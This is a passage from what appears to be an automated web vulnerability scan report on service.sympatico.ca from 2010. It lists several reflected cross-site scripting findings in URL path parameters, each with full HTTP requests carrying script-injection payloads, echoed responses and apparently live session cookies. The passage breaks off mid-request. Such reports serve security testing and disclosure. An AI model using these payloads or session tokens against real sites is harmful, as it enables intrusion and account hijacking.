User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:25 GMT
Connection: close
Set-Cookie: SMSESSION=r0ZSXWEloKeFOtgTrItTQE9YV3eiox8us3j+qP93H1wLt7+tnQ0GwQeqR0jE8CUm/3puxgHrJZKM+i8GOJzGBc0HQwfJK0pMlazFWys2fSqegg8qRPKJlUKBF7RkWOcnC7bM07y6t4rNbLl+IjvvdbLpSuz7RKp3J7zbYNFKz0kwH/MpIKAu7CYz7tQTH/oA5ntThuXh/DdIpm5ZjlkL2nJf6PTavtLUpVyHLrPytSyOkctDY5ZvEaUub6sYDsx1T0UC0UKCzo0X9Jun9V2dtj+5eWiSNaXYSibtbGTxoafn0mcu1h9HAg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:26 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:26 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:26 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:26 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:26 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:26 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css2b28d"><script>alert(1)</script>d7f717df0cd/jquery.autocomplete.css" />
...[SNIP]...

2.73. http://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/jquery.autocomplete.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 190ae"><script>alert(1)</script>33be1b37df2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/jquery.autocomplete.css190ae"><script>alert(1)</script>33be1b37df2 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:27 GMT
Connection: close
Set-Cookie: SMSESSION=YGf1mw2nK7r1TsoWjHZquMXDg3pd+c09jmmtLXoT2+bFRs5tF/eMIDQUrF5pWx1gc65/s5G9GgKkUyP/0Ddyl2EZon0Rh67ZjfVlZi+xllIu3hzg6Kr33IfG9EvxGjYJ1cFe0uFE32HN4G9JtZx1YJ8pxMxvbaTdQVJ6GQaRXtG9EtcQ8glTUcaTXtet6HH7lG6Rmpkl73Fk8uwk2YIChe/6qx51QBzolRk/+i7arr6ppNh8U7+TM0ZXYw7XmhN8+FM+OdluovxWi12J1+WQW1uXP102rWbDXCPPtkoMPYHzEiQtsDi5dw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
me="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/jquery.autocomplete.css190ae"><script>alert(1)</script>33be1b37df2" />
...[SNIP]...

2.74. http://service.sympatico.ca/css/minidashboard.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/minidashboard.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88d4f"><script>alert(1)</script>6b3a8616ef8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css88d4f"><script>alert(1)</script>6b3a8616ef8/minidashboard.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:19 GMT
Connection: close
Set-Cookie: SMSESSION=irMkvPwEJQe53n3vCxM796Yep9O5++kuG/tbvd70gG4FvPyDaf/JJmfTOZMMEZS1Jc6LNwxXlHJ+6UTgPqdBvH950UYA3G3BHSJjy1xp6Ym0f0J5Dm3Wb8pSFgPJMwhxHP4gJhh4iTvgMSF8EttjCnaCTf8oTACxhZZ01Gdd7oFwMlU+phe9g3DVzqErPnBlveW+vTQQ+b87JN6i+K9NpAotGtHy54PMZPswuyNIEoP1RQ8kYu2nUSnOAGIMjUYpO3bpGsbM1/NhY3DwU8Rf1fY2BGzSu3rvqZ7mqMRl3xursXRqoXhUMQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css88d4f"><script>alert(1)</script>6b3a8616ef8/minidashboard.css" />
...[SNIP]...

2.75. http://service.sympatico.ca/css/minidashboard.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/minidashboard.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b294a"><script>alert(1)</script>4438f18ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/minidashboard.cssb294a"><script>alert(1)</script>4438f18ee HTTP/1.1
Accept: */*
